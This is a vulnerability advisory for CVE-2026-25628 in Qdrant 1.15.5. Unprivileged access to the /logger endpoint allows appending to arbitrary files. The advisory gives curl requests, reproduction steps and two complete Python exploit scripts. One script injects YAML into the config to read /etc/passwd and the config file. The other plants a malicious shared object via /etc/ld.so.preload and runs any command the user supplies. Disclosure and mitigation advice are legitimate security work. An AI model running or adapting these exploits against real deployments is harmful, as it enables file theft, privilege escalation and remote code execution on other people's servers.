CVE-2026-25628

Summary

It is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5

Details

POST /logger

(Source code link)

endpoint accepts an attacker-controlled ondisk.logfile path.

There are no authorization checks (but authentication check is present).

This can be exploited in the following way: if configuration directory is writable and config/local.yaml does not exist, set log path to config/local.yaml and send a request with a log injection payload. ThePATCH /collections endpoint was used with an invalid collection name to inject valid yaml.

After running the PoC, the content of config/local.yaml will be:

2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 "POST /logger HTTP/1.1" 200 57 "-" "python-requests/2.32.5" 0.009422
2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui
service:
    static_content_dir: ..
2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 "PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1" 404 113 "-" "python-requests/2.32.5" 0.001391

Some junk log lines are present, but they don't matter as this is still valid yaml.

After that, if qdrant is restarted (via legitimate means or by a OOM/crash), then local.yaml config will have higher priority and service.staticcontentdir will be set to ... In a container environment, this allows one to read all files via the web UI path.

Also overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).

Relevant requests:

1. Enable on-disk logging to the config file:

curl -sS -X POST "http://localhost:6333/logger" \
  -H "Content-Type: application/json" \
  -d '{
    "log_level":"INFO",
    "on_disk":{
      "enabled":true,
      "format":"text",
      "log_level":"INFO",
      "buffer_size_bytes":1,
      "log_file":"config/local.yaml"
    }
  }'

1. Inject YAML via a request that logs newlines (URL-encoded):

curl -sS -X PATCH "http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a" \
  -H "Content-Type: application/json" \
  -d '{}'

Full reproduction instructions

1. Start Qdrant with a writable configuration directory:

sudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5

1. Run the exploit:

% python3 exploit.py --url http://localhost:6333
[+] Logger configured
[+] Log injection successful
[+] Logger disabled
Restart Qdrant cluster and press Enter to continue...

1. Restart the container:

sudo docker restart qdrant-poc

1. Resume the exploit:

<press Enter>
[+] Passwd file retrieved
--------------------------------
...
--------------------------------
[+] Config file retrieved
--------------------------------
...

Mitigation

1. Limit usage of /logger endpoint to users with management privileges only (or better disable it completely).
2. Restrict the path of the log file to a dedicated logs directory.

This vulnerability does not affect Qdrant cloud as the configuration directory is not writable.

Exploit code

exploit_privesc.py

import requests
import sys
import argparse
parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
args = parser.parse_args()
url = args.url
headers = {}
if args.api_key:
    headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "config/local.yaml",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")

res = s.patch(
    f"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a",
    json={},
)
error = res.json()["status"]["error"]
if "doesn't exist!" in error:
    print("[+] Log injection successful")
else:
    print(f"[-] Error: {error}")
    sys.exit(1)
res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")
input("Restart Qdrant cluster and press Enter to continue...")
res = s.get(f"{url}/dashboard/etc/passwd")
res.raise_for_status()
print("[+] Passwd file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")
res = s.get(f"{url}/dashboard/qdrant/config/config.yaml")
res.raise_for_status()
print("[+] Config file retrieved")
print("--------------------------------")
print(res.text)
print("--------------------------------")

exploit_rce.py

import requests
import argparse
import tempfile
import os
TEST_COLLECTION_NAME = "COLTEST"

parser = argparse.ArgumentParser(description="Exploit script for posting to Qdrant API")
parser.add_argument("--url", required=False, help="Target URL for API", default="http://localhost:6333")
parser.add_argument("--api-key", required=False, help="API key")
parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
parser.add_argument("--lib", default="")
args = parser.parse_args()

assert "'" not in args.cmd, "Command must not contain single quotes"
so_code = """
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
    unlink("/etc/ld.so.preload");
    system("/bin/bash -c 'XXXXXXXX'");
}
""".replace('XXXXXXXX', args.cmd)
with tempfile.TemporaryDirectory() as tmpdir:
    with open(f"{tmpdir}/cmd_code.c", "w") as f:
        f.write(so_code)
    os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')
    cmd_so = open(f'{tmpdir}/cmd.so', "rb").read()
url = args.url
headers = {}
if args.api_key:
    headers["api-key"] = args.api_key
s = requests.Session()
s.headers.update(headers)
res = s.post(
    f"{url}/logger",
    json={
        "log_level": "INFO",
        "on_disk": {
            "enabled": True,
            "format": "text",
            "log_level": "INFO",
            "buffer_size_bytes": 1,
            "log_file": "/etc/ld.so.preload",
        },
    },
)
res.raise_for_status()
print("[+] Logger configured")
res = s.get(
    f"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so",
)
print("[+] Log injected")

res = s.post(
    f"{url}/logger",
    json={
        "on_disk": {
            "enabled": False,
        },
    },
)
res.raise_for_status()
print("[+] Logger disabled")

rsp = s.post(f"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload", files={"snapshot": ("hui.so", cmd_so, "application/octet-stream")})
print(rsp.text)
## trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`
input("Press Enter to continue...")
rsp = s.get(f"{args.url}/stacktrace")
rsp.raise_for_status()

Impact

Remote code execution.